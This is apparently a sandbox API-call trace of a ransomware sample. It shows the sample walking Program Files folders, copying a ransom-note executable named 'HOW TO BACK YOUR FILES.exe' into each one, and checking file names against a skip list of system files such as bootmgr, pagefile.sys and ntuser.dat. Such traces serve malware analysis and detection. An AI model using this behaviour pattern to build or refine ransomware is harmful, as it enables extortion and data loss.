	[0074.255] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.255] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.269] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x445684f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445684f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.269] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.269] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.269] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.269] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x445684f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445684f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.269] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.269] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.269] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.269] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.269] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="Apollon865.txt.exe") returned 1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2=".") returned 1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="..") returned 1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="windows") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="bootmgr") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="temp") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="pagefile.sys") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="boot") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="ids.txt") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="ntuser.dat") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="perflogs") returned -1
	[0074.269] lstrcmpiW (lpString1="as80.xsl", lpString2="MSBuild") returned -1
	[0074.269] lstrlenW (lpString="as80.xsl") returned 8
	[0074.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned 69
	[0074.270] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer"
	[0074.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0074.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.270] lstrlenW (lpString="C:\\Program Files\\Internet Explorer") returned 34
	[0074.270] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer" | out: lpString1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer"
	[0074.270] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.270] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x445684f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445684f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.274] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.274] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.274] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x445684f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445684f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.274] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.275] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.275] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.275] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.275] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0074.275] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0074.275] lstrlenW (lpString="en-US") returned 5
	[0074.275] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\*") returned 36
	[0074.275] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Internet Explorer\\SIGNUP", iMaxLength=260 | out: lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP") returned="C:\\Program Files\\Internet Explorer\\SIGNUP"
	[0074.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0074.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.276] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP") returned 41
	[0074.276] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP") returned="C:\\Program Files\\Internet Explorer\\SIGNUP"
	[0074.276] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.276] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4458e650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4458e650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.280] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.280] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.280] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.280] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4458e650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4458e650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.280] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.280] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.280] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.280] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.280] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4458e650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4458e650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.280] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.280] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="Apollon865.txt.exe") returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2=".") returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="..") returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="windows") returned -1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="bootmgr") returned 1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="temp") returned -1
	[0074.280] lstrcmpiW (lpString1="install.ins", lpString2="pagefile.sys") returned -1
	[0074.281] lstrcmpiW (lpString1="install.ins", lpString2="boot") returned 1
	[0074.281] lstrcmpiW (lpString1="install.ins", lpString2="ids.txt") returned 1
	[0074.281] lstrcmpiW (lpString1="install.ins", lpString2="ntuser.dat") returned -1
	[0074.281] lstrcmpiW (lpString1="install.ins", lpString2="perflogs") returned -1
	[0074.281] lstrcmpiW (lpString1="install.ins", lpString2="MSBuild") returned -1
	[0074.281] lstrlenW (lpString="install.ins") returned 11
	[0074.281] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\*") returned 43
	[0074.281] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Internet Explorer\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Internet Explorer\\en-US") returned="C:\\Program Files\\Internet Explorer\\en-US"
	[0074.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0074.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.281] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US") returned 40
	[0074.281] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files\\Internet Explorer\\en-US") returned="C:\\Program Files\\Internet Explorer\\en-US"
	[0074.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.286] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4458e650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4458e650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.286] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.286] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.286] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.286] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4458e650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4458e650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.286] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.286] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.286] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.286] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.286] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="windows") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="bootmgr") returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="temp") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="pagefile.sys") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="boot") returned 1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ids.txt") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ntuser.dat") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="perflogs") returned -1
	[0074.286] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="MSBuild") returned -1
	[0074.286] lstrlenW (lpString="hmmapi.dll.mui") returned 14
	[0074.286] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\*") returned 42
	[0074.287] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker"
	[0074.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca390 | out: hHeap=0x580000) returned 1
	[0074.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0074.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker") returned 26
	[0074.287] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker" | out: lpString1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker"
	[0074.287] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.292] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445b47b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445b47b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.292] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.292] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.292] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.292] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445b47b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445b47b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.292] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.292] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.292] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.292] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.292] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="Apollon865.txt.exe") returned 1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".") returned 1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="..") returned 1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="windows") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="bootmgr") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="temp") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="pagefile.sys") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="boot") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ids.txt") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ntuser.dat") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="perflogs") returned -1
	[0074.292] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="MSBuild") returned -1
	[0074.292] lstrlenW (lpString="audiodepthconverter.ax") returned 22
	[0074.292] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\*") returned 28
	[0074.293] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared"
	[0074.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdde8 | out: hHeap=0x580000) returned 1
	[0074.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.293] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared") returned 33
	[0074.293] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared"
	[0074.293] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.293] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.299] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445b47b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445b47b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.299] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.299] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.299] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.299] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445b47b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445b47b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.299] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.299] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.299] lstrcmpiW (lpString1="..", lpString2=".") returned 1
